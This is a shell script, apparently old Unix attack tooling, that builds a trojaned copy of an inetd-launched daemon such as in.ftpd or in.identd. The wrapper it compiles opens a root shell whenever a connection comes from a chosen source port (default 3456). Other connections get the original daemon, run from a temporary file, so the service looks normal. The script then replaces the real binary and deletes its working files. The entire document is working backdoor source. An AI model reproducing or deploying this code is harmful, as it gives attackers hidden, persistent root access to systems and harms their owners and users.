#!/bin/sh

TMP=/tmp/.lala
PORT=3456
TODELETE=0

if [ "$1" == "" ]; then
  echo "NO ARGS :((("
  echo "$0 <daemon run'in inetd binary (in.ftpd, in.identd..)> <port>"
  exit
fi

if [ "$2" == "" ]; then
  echo "Using default PORT $PORT to connect root shell"
else
  echo "Using PORT $2"
  PORT=$2;
fi

if [ ! -d $TMP ]; then
  mkdir -p $TMP
  TODELETE=1
fi

cat > $TMP/yatbm_infector.c << EOFEOF
#include <stdio.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main (int argn, char **argv)
{
  int fd_open;
  unsigned int i, len, total_len = 0;
  unsigned char lala[16];

  if (argn < 2)
  {
    printf ("erreur d'arguments\n");
    exit(1);
  }

  printf ("#include <stdio.h>\n");
  printf ("#include <stdlib.h>\n");
  printf ("#include <unistd.h>\n");
  printf ("#include <time.h>\n");
  printf ("#include <sys/types.h>\n");
  printf ("#include <sys/stat.h>\n");
  printf ("#include <sys/fcntl.h>\n");
  printf ("#include <netinet/in.h>\n");
  printf ("#include <sys/socket.h>\n");

  fd_open = open (argv [1], O_RDONLY); 
  printf ("char lala[] =\n"); 
  
  while ((len = read (fd_open, lala, 16)) != 0)
  {
    printf ("\"");
    for (i = 0; i < len; i ++)
    {
      printf("\\\x%.2X", lala[i]); 
    }
    printf("\"\n");
    total_len += len;
  } 
  printf (";\n");
  printf ("#define LENFILE %i\n", total_len);
  
  close (fd_open);
}
EOFEOF

cat > $TMP/yatbm.c << EOFEOF
int main (int argn, char **argv, char **envp)
{
  struct sockaddr_in sin;
  unsigned int len, i, len_write = 0;
  struct timespec ll;
  int fd_open;

  ll.tv_sec = 0;
  ll.tv_nsec = 1000;
  len = sizeof(struct sockaddr);
  if (getpeername (0, (struct sockaddr*)&sin, &len) == -1)
    exit (1); 
  if (sin.sin_port == htons(PORT))
  {
    setuid (0);
    setgid (0);
    seteuid (0);
    execl ("/bin/sh", "/bin/sh", 0);
  }
  fd_open = open ("/tmp/tmp.lala.bin", O_RDWR | O_CREAT);
  for (i = 0; i < LENFILE; i += 16)
    write (fd_open, &lala[i], ((LENFILE-len_write)>16)?16:(LENFILE-len_write));
  close (fd_open);
  if (fork ())
  {
    nanosleep (&ll , NULL); 
    unlink ("/tmp/tmp.lala.bin");
  }
  else
    execve ("/tmp/tmp.lala.bin", argv, envp);
  return (0);
}
EOFEOF


gcc -o $TMP/yatbm_infector $TMP/yatbm_infector.c
$TMP/yatbm_infector $1 > $TMP/yatbm_tmp.c
cat $TMP/yatbm.c >> $TMP/yatbm_tmp.c
echo gcc -DPORT=$PORT -o $TMP/yatbm_tmp $TMP/yatbm_tmp.c
gcc -DPORT=$PORT -o $TMP/yatbm_tmp $TMP/yatbm_tmp.c

mv $1 $1.orig
mv $TMP/yatbm_tmp $1

if [ -e $1 ]; then
  echo "OK"
  rm $1.orig
else
  echo "NOT OK"
  mv $1.orig $1
fi

rm $TMP/yatbm_tmp.c
rm $TMP/yatbm.c
rm $TMP/yatbm_infector.c
rm $TMP/yatbm_infector

if [ "$TODELETE" == "1" ]; then
  rm -rf /tmp/.lala
fi
